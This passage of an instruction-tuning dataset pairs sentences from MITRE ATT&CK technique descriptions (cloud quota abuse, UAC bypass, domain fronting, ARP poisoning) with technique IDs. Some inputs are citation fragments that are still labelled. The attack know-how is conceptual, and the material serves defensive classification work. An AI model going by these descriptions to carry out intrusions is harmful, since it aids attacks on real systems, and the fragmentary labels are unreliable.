compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots. ### Response: T1578."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Permissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure.", "output": "T1578", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Permissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. ### Response: T1578."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)", "output": "T1578", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020) ### Response: T1578."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify settings that directly affect the size, locations, and resources available to cloud compute infrastructure in order to evade defenses.", "output": "T1578.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify settings that directly affect the size, locations, and resources available to cloud compute infrastructure in order to evade defenses. ### Response: T1578.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These settings may include service quotas, subscription associations, tenant-wide policies, or other configurations that impact available compute.", "output": "T1578.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These settings may include service quotas, subscription associations, tenant-wide policies, or other configurations that impact available compute. ### Response: T1578.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Such modifications may allow adversaries to abuse the victim\u2019s compute resources to achieve their goals, potentially without affecting the execution of running instances and/or revealing their activities to the victim.", "output": "T1578.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Such modifications may allow adversaries to abuse the victim\u2019s compute resources to achieve their goals, potentially without affecting the execution of running instances and/or revealing their activities to the victim. ### Response: T1578.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, cloud providers often limit customer usage of compute resources via quotas.", "output": "T1578.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, cloud providers often limit customer usage of compute resources via quotas. ### Response: T1578.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Customers may request adjustments to these quotas to support increased computing needs, though these adjustments may require approval from the cloud provider.", "output": "T1578.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Customers may request adjustments to these quotas to support increased computing needs, though these adjustments may require approval from the cloud provider. ### Response: T1578.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries who compromise a cloud environment may similarly request quota adjustments in order to support their activities, such as enabling additional [Resource Hijacking](https://attack.mitre.org/techniques/T1496) without raising suspicion by using up a victim\u2019s entire quota.(Citation: Microsoft Cryptojacking 2023)", "output": "T1578.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries who compromise a cloud environment may similarly request quota adjustments in order to support their activities, such as enabling additional [Resource Hijacking](https://attack.mitre.org/techniques/T1496) without raising suspicion by using up a victim\u2019s entire quota.(Citation: Microsoft Cryptojacking 2023) ### Response: T1578.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also increase allowed resource usage by modifying any tenant-wide policies that limit the sizes of deployed virtual machines.(Citation: Microsoft Azure Policy)", "output": "T1578.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also increase allowed resource usage by modifying any tenant-wide policies that limit the sizes of deployed virtual machines.(Citation: Microsoft Azure Policy) ### Response: T1578.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also modify settings that affect where cloud resources can be deployed, such as enabling [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535).", "output": "T1578.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also modify settings that affect where cloud resources can be deployed, such as enabling [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535). ### Response: T1578.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In Azure environments, an adversary who has gained access to a Global Administrator account may create new subscriptions in which to deploy resources, or engage in subscription hijacking by transferring an existing pay-as-you-go subscription from a victim tenant to an adversary-controlled tenant.(Citation:", "output": "T1578.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In Azure environments, an adversary who has gained access to a Global Administrator account may create new subscriptions in which to deploy resources, or engage in subscription hijacking by transferring an existing pay-as-you-go subscription from a victim tenant to an adversary-controlled tenant.(Citation: ### Response: T1578.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Peach Sandstorm 2023)", "output": "T1578.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Peach Sandstorm 2023) ### Response: T1578.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This will allow the adversary to use the victim\u2019s compute resources without generating logs on the victim tenant.(Citation:", "output": "T1578.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This will allow the adversary to use the victim\u2019s compute resources without generating logs on the victim tenant.(Citation: ### Response: T1578.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Azure Policy) (Citation: Microsoft Subscription Hijacking 2022)", "output": "T1578.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Azure Policy) (Citation: Microsoft Subscription Hijacking 2022) ### Response: T1578.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation.", "output": "T1088", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. ### Response: T1088."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.", "output": "T1088", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. ### Response: T1088."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box.", "output": "T1088", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. ### Response: T1088."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation)", "output": "T1088", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) ### Response: T1088."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access.", "output": "T1088", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. ### Response: T1088."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.", "output": "T1088", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. ### Response: T1088."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Davidson Windows)", "output": "T1088", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Davidson Windows) ### Response: T1088."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.", "output": "T1088", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected. ### Response: T1088."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many methods have been discovered to bypass UAC.", "output": "T1088", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many methods have been discovered to bypass UAC. ### Response: T1088."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses.", "output": "T1088", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. ### Response: T1088."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script.", "output": "T1088", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script. ### Response: T1088."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)", "output": "T1088", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit) ### Response: T1088."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Another bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity.", "output": "T1088", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Another bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. ### Response: T1088."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: SANS UAC Bypass)", "output": "T1088", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: SANS UAC Bypass) ### Response: T1088."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018)", "output": "T1494", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) ### Response: T1494."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.", "output": "T1494", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making. ### Response: T1494."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may alter application binaries used to display data in order to cause runtime manipulations.", "output": "T1494", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may alter application binaries used to display data in order to cause runtime manipulations. ### Response: T1494."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1042) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect.", "output": "T1494", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1042) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. ### Response: T1494."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary.", "output": "T1494", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. ### Response: T1494."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "output": "T1494", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. ### Response: T1494."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure.", "output": "T1090", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. ### Response: T1090."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap.", "output": "T1090", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. ### Response: T1090."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.", "output": "T1090", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. ### Response: T1090."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.", "output": "T1090", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may chain together multiple proxies to further disguise the source of malicious traffic. ### Response: T1090."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.", "output": "T1090", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic. ### Response: T1090."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS.", "output": "T1090.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. ### Response: T1090.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Fifield Blocking Resistent Communication through domain fronting 2015)", "output": "T1090.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) ### Response: T1090.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header.", "output": "T1090.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. ### Response: T1090.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header.", "output": "T1090.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. ### Response: T1090.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).", "output": "T1090.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored). ### Response: T1090.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header.", "output": "T1090.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. ### Response: T1090.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.", "output": "T1090.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Traffic will appear to be going to domain-x, however the CDN may route it to domain-y. ### Response: T1090.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040),", "output": "T1557", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), ### Response: T1557."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or replay attacks ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)).", "output": "T1557", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or replay attacks ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)). ### Response: T1557."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)", "output": "T1557", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics) ### Response: T1557."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner)", "output": "T1557", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) ### Response: T1557."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials and session cookies.(Citation: volexity_0day_sophos_FW)", "output": "T1557", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials and session cookies.(Citation: volexity_0day_sophos_FW) ### Response: T1557."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)", "output": "T1557", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att) ### Response: T1557."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).", "output": "T1557", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). ### Response: T1557."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498).", "output": "T1557", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498). ### Response: T1557."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices.", "output": "T1557.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. ### Response: T1557.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).", "output": "T1557.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). ### Response: T1557.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP)", "output": "T1557.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) ### Response: T1557.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Devices in a local network segment communicate with each other by using link layer addresses.", "output": "T1557.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Devices in a local network segment communicate with each other by using link layer addresses. ### Response: T1557.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address.", "output": "T1557.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. ### Response: T1557.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The device with the associated IP address directly replies with its MAC address.", "output": "T1557.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The device with the associated IP address directly replies with its MAC address. ### Response: T1557.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The networked device that made the ARP request will then use as well as store that information in its ARP cache.", "output": "T1557.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The networked device that made the ARP request will then use as well as store that information in its ARP cache. ### Response: T1557.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may passively wait for an ARP request to poison the ARP cache of the requesting device.", "output": "T1557.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. ### Response: T1557.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device.", "output": "T1557.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. ### Response: T1557.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner.", "output": "T1557.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. ### Response: T1557.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.", "output": "T1557.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment. ### Response: T1557.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The ARP protocol is stateless and does not require authentication.", "output": "T1557.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The ARP protocol is stateless and does not require authentication. ### Response: T1557.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Therefore, 